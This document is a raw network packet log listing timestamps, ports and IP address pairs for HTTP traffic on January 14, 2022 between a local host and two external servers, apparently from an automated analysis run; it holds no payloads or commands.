Jan 14, 2022 01:51:47.666024923 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.668812990 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.696290016 CET	80	49864	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:47.706036091 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706073999 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706096888 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706123114 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706140995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706160069 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706165075 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.706208944 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.706391096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706415892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706470013 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.706522942 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706547976 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706600904 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.706608057 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706634045 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706676006 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706687927 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.706723928 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706748009 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706767082 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706783056 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.706789017 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706809998 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706831932 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706835985 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.706860065 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.706876040 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706898928 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706929922 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.706938982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.706971884 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707010984 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707024097 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.707034111 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707082033 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.707228899 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707257032 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707281113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707290888 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.707307100 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707329035 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707333088 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.707351923 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707403898 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.707453966 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707480907 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707504988 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707540035 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.707554102 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.707560062 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707581997 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707602978 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707626104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.707660913 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.707685947 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.723786116 CET	80	49864	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:47.723961115 CET	49864	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.740457058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740492105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740513086 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740531921 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740555048 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740576029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740595102 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740603924 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.740618944 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740632057 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.740643024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740665913 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.740668058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740690947 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740711927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740732908 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740756035 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740756035 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.740778923 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740781069 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.740801096 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740804911 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.740824938 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740845919 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740863085 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.740868092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740891933 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740914106 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.740916014 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740936995 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.740943909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740971088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.740993977 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741015911 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741036892 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741049051 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741066933 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741076946 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741123915 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741146088 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741167068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741185904 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741202116 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741204977 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741228104 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741249084 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741251945 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741274118 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741394043 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741411924 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741431952 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741450071 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741456985 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741482019 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741533041 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741556883 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741578102 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741601944 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741605043 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741622925 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741631985 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741651058 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741673946 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741693974 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741708994 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741719007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741724968 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741736889 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741756916 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741775036 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741795063 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741806030 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741813898 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741836071 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.741862059 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.741889954 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.780842066 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.780877113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.780917883 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.780946970 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.780953884 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.780966997 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.780991077 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.781008005 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.781011105 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.781028986 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.781050920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.781069040 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.781115055 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.781150103 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.781203985 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.781991959 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782026052 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782043934 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782066107 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782094002 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782113075 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782113075 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782138109 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782161951 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782164097 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782171965 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782186031 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782208920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782218933 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782231092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782253981 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782253027 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782278061 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782299995 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782305956 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782320976 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782342911 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782356024 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782366037 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782388926 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782397032 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782411098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782434940 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782454967 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782459021 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782476902 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782495975 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782500029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782521963 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782529116 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782543898 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782567978 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782579899 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782589912 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782613039 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782614946 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782635927 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782658100 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.782686949 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.782721043 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.786209106 CET	49864	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:47.816735029 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816772938 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816797018 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816819906 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816853046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816854954 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.816876888 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816900015 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.816904068 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816931009 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816955090 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816968918 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.816977978 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.816986084 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817003012 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817028999 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817053080 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817065001 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817079067 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817080975 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817106962 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817130089 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817152977 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817162037 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817178011 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817182064 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817199945 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817223072 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817245007 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817250013 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817269087 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817269087 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817293882 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817317963 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817317963 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817341089 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817363024 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817384958 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817400932 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817413092 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817419052 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817436934 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817461014 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817483902 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817487001 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817507982 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817518950 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817533016 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817572117 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817574978 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817600012 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817625046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817630053 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817648888 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817672968 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817697048 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817703962 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817722082 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817728043 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817745924 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817770004 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817775011 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817794085 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817819118 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817842960 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817847967 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817868948 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817897081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817913055 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817924023 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817949057 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817965031 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.817970991 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.817996979 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.818001032 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.818021059 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.818042994 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.818047047 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.818072081 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.818090916 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.818095922 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.818981886 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.836466074 CET	80	49864	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:47.857239008 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857278109 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857301950 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857325077 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857348919 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857372046 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857387066 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857398033 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857422113 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857422113 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857433081 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857449055 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857458115 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857475042 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857501030 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857525110 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857538939 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857551098 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857574940 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857597113 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857598066 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857624054 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857625008 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857659101 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857678890 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857683897 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857700109 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857723951 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857745886 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857757092 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857770920 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857773066 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857791901 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857812881 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857832909 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857846022 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857897997 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857898951 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857923985 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857948065 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857970953 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.857990980 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.857994080 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858011961 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.858017921 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858032942 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.858042955 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858045101 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.858066082 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858088970 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858100891 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.858113050 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858131886 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.858138084 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858161926 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858185053 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858186960 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:47.858207941 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:47.858231068 CET	80	49863	141.8.194.74	192.168.2.3
